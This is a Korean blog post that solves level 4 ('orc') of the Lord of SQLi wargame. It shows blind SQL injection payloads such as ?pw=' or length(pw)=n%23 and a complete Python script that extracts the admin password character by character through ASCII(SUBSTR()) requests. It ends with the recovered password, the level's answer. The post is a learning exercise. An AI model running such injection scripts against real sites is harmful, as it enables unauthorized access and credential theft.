yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

LOS 4번 풀이 (orc) 본문

wargame 풀이/LOS

LOS 4번 풀이 (orc)

yehey 2020. 10. 4. 21:26

LOS 4번 orc

두번째 단락에서 addslashes를 이용해 pw에 입력된 값이 SQL로 작동하는 것을 방지하고 있다.

PHP
addslashes: 웹의 폼에서 입력한 글자가 SQL로 동작하는 것을 방지하기 위해 (' " \ 등)기호 앞에 \를 추가한다.

stripslashes: 추가되었던 백스래쉬를 제거한다. -> SQL로 동작하게 함

또, solve의 조건은 pw에 입력된 값이 addslashes 처리한 후에도 그 값과 같을 때이다. 

->id='admin'인 사용자의 pw를 정확하게 입력해야 한다.

 

pw를 얻기 위해 pw의 길이를 먼저 알아야 한다.

pw에 쿼리문이 들어가면 solve는 실행되지 않지만 적어도 "Hello admin"은 출력될 수 있다.

이를 이용해서 pw의 길이를 알아내보자.

 

?pw=' or length(pw)=n(숫자)%23 을 입력할 것이다.

n에 1부터 숫자를 하나씩 넣어보면서 length(pw)에 참인 pw의 길이가 입력되면 Hello admin이 출력될 것이다. 

->Blind SQL injection 공격 (Hello admin 출력 여부가 특별한 응답!), 참인 length를 얻어낸다.

 

?pw=' or length(pw)=1%23 을 넣었을 때는 Hello admin이 출력되지 않음.

(id='admin' and pw='' 가 거짓이고 length(pw)=1 도 거짓이기 때문)

계속해서 시도하쟈

length(pw)=8 일 때 Hello admin이 출력되었다. -> pw의 길이=8

이제 8자리 비밀번호를 얻어야 하는데 이를 사람이 하나하나 시도하기에는 경우의 수가 너무 많고 시간이 오래걸리기 때문에

python을 이용해서 HTTP 요청에 파라미터를 추가해서 비밀번호를 얻어보자

HTTP 요청을 위해서는 쿠키와 URL 주소가 필요하다. 쿠키는 F12-Network 에서 얻을 수 있다. (URL은 상단 바에 있죠..?)

Blind SQL injection을 통한 pw 얻는 코드

#los4.py

import string
import requests
my_cookies=dict(PHPSESSID="70o4gahr1512k8c402c6stgjf8") #쿠키 값
idLength=8	#pw 길이
url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"	#url
abc=string.digits + string.ascii_letters	#abc에 숫자와 ascii 문자 넣음
print("Start Blind attack")	#공격시작
result=""			#완성된 pw를 담을 result

for i in range(1,idLength+1):	#pw 길이만큼 반복

    for a in abc:		#숫자+문자 만큼 반복
    
        param="?pw=' or ASCII(SUBSTR(pw,"+str(i)+",1))="+str(ord(a))+"%23"
        #파라미터에 i번째 문자가 a 와 같은지 확인하는 쿼리문 입력
        #ex. ?pw=' or ASCII(SUBSTR(pw,1,1))=97%23  pw의 1번째 문자가 a(아스키 코드로 97)인지 확인
        
        new_url=url+param				#URL에 파라미터를 붙임
        res=requests.get(new_url,cookies=my_cookies)	#HTTP 요청
        
        if res.text.find("<h2>Hello admin</h2>") > 0:	#응답에 Hello admin이 있으면 
            print(str(i)+"번째 char is :" + a)		#해당 문자 출력
            result += a					#result에 추가
            break					#다음 번째로 이동
	
print("result:"+result)		#패스워드 결과 출력

 

실행하면 다음과 같은 결과가 나온다.

 

pw=095a9852 라는 것을 알 수 있다.

이제 구한 pw를 URL에 넣어주면 된다.

 

 

'wargame 풀이 > LOS' 카테고리의 다른 글

LOS 10번 풀이 (skeleton)  (0) 2020.10.14
LOS 8~9번 풀이 (troll, vampire)  (0) 2020.10.09
LOS 7번 풀이 (orge)  (0) 2020.10.09
LOS 5~6번 풀이 (wolfman,darkelf)  (0) 2020.10.05
LOS 1~3번 풀이 (gremlin, cobolt, goblin)  (0) 2020.10.04
Comments